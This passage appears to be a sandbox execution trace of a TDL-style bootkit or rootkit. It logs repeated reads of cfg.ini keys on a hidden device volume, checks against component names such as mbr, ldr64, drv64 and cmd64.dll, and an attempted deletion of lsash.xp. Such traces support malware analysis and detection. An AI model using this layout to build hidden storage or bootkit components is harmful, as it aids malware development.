BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003588000 [0124.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.603] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.603] IdePortDispatch () returned 0x103 [0124.603] KeWaitForMutexObject () returned 0x0 [0124.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.604] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.604] IdePortDispatch () returned 0x103 [0124.604] KeWaitForMutexObject () returned 0x0 [0124.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.604] KeLeaveCriticalRegion () [0124.604] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.605] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.605] KeEnterCriticalRegion () [0124.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.605] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.605] KeLeaveCriticalRegion () [0124.605] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.605] KeEnterCriticalRegion () [0124.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.605] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.605] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.605] KeLeaveCriticalRegion () [0124.605] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.605] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.605] KeEnterCriticalRegion () [0124.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.605] ExFreePoolWithTag (P=0xfffffa8003bf2b30, Tag=0x0) [0124.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.605] KeLeaveCriticalRegion () [0124.605] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.605] ReleaseMutex (hMutex=0xf0) returned 1 [0124.605] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.605] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.605] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.605] KeEnterCriticalRegion () [0124.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.605] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.605] IdePortDispatch () returned 0x103 [0124.606] KeWaitForMutexObject () returned 0x0 [0124.606] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.606] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.606] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.606] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.606] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.606] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2540 [0124.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.606] KeLeaveCriticalRegion () [0124.606] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.606] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.606] KeEnterCriticalRegion () [0124.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.606] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.606] KeLeaveCriticalRegion () [0124.606] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.606] KeEnterCriticalRegion () [0124.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.606] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.606] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.606] IdePortDispatch () returned 0x103 [0124.606] KeWaitForMutexObject () returned 0x0 [0124.606] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.606] KeLeaveCriticalRegion () [0124.606] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.607] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.607] KeEnterCriticalRegion () [0124.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.607] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003589000 [0124.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.607] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.607] IdePortDispatch () returned 0x103 [0124.607] KeWaitForMutexObject () returned 0x0 [0124.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.607] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.607] IdePortDispatch () returned 0x103 [0124.607] KeWaitForMutexObject () returned 0x0 [0124.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.607] KeLeaveCriticalRegion () [0124.607] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.608] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.608] KeEnterCriticalRegion () [0124.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.608] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.608] KeLeaveCriticalRegion () [0124.608] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.608] KeEnterCriticalRegion () [0124.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.608] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.608] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf14b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.608] KeLeaveCriticalRegion () [0124.608] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.608] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.608] KeEnterCriticalRegion () [0124.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.608] ExFreePoolWithTag (P=0xfffffa8003bf2540, Tag=0x0) [0124.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.608] KeLeaveCriticalRegion () [0124.608] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.608] ReleaseMutex (hMutex=0xf0) returned 1 [0124.608] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.608] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.608] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.608] KeEnterCriticalRegion () [0124.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.608] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.608] IdePortDispatch () returned 0x103 [0124.609] KeWaitForMutexObject () returned 0x0 [0124.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.609] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.609] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.609] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.609] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.609] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1740 [0124.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.609] KeLeaveCriticalRegion () [0124.609] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.609] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.609] KeEnterCriticalRegion () [0124.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.609] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.609] KeLeaveCriticalRegion () [0124.609] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.609] KeEnterCriticalRegion () [0124.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.609] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.609] IdePortDispatch () returned 0x103 [0124.609] KeWaitForMutexObject () returned 0x0 [0124.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.609] KeLeaveCriticalRegion () [0124.609] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.610] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.610] KeEnterCriticalRegion () [0124.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.610] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800358a000 [0124.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.610] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.610] IdePortDispatch () returned 0x103 [0124.610] KeWaitForMutexObject () returned 0x0 [0124.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.610] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.610] IdePortDispatch () returned 0x103 [0124.610] KeWaitForMutexObject () returned 0x0 [0124.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.610] KeLeaveCriticalRegion () [0124.610] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.611] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.611] KeEnterCriticalRegion () [0124.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.611] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.611] KeLeaveCriticalRegion () [0124.611] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.611] KeEnterCriticalRegion () [0124.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.611] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.611] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.611] KeLeaveCriticalRegion () [0124.611] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.611] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.611] KeEnterCriticalRegion () [0124.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.611] ExFreePoolWithTag (P=0xfffffa8003bf1740, Tag=0x0) [0124.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.611] KeLeaveCriticalRegion () [0124.611] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.611] ReleaseMutex (hMutex=0xf0) returned 1 [0124.611] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.611] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.611] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.611] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.611] KeEnterCriticalRegion () [0124.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.611] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.611] IdePortDispatch () returned 0x103 [0124.612] KeWaitForMutexObject () returned 0x0 [0124.612] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.612] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.612] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.612] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.612] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.612] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.612] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.612] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.612] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.612] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.612] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.612] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.612] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.612] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.612] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.612] KeLeaveCriticalRegion () [0124.612] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.612] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.612] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.612] KeEnterCriticalRegion () [0124.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.612] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.612] IdePortDispatch () returned 0x103 [0124.612] KeWaitForMutexObject () returned 0x0 [0124.612] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.612] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.612] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.612] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.612] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.613] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.613] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.613] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.613] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.613] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.613] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.613] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.613] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.613] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.613] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.613] KeLeaveCriticalRegion () [0124.613] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.613] ReleaseMutex (hMutex=0x100) returned 1 [0124.613] Sleep (dwMilliseconds=0x2bf20) [0124.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d787f50, dwHighDateTime=0x1d24fa4)) [0124.619] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.619] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.619] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.619] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.619] KeEnterCriticalRegion () [0124.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.619] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.619] IdePortDispatch () returned 0x103 [0124.619] KeWaitForMutexObject () returned 0x0 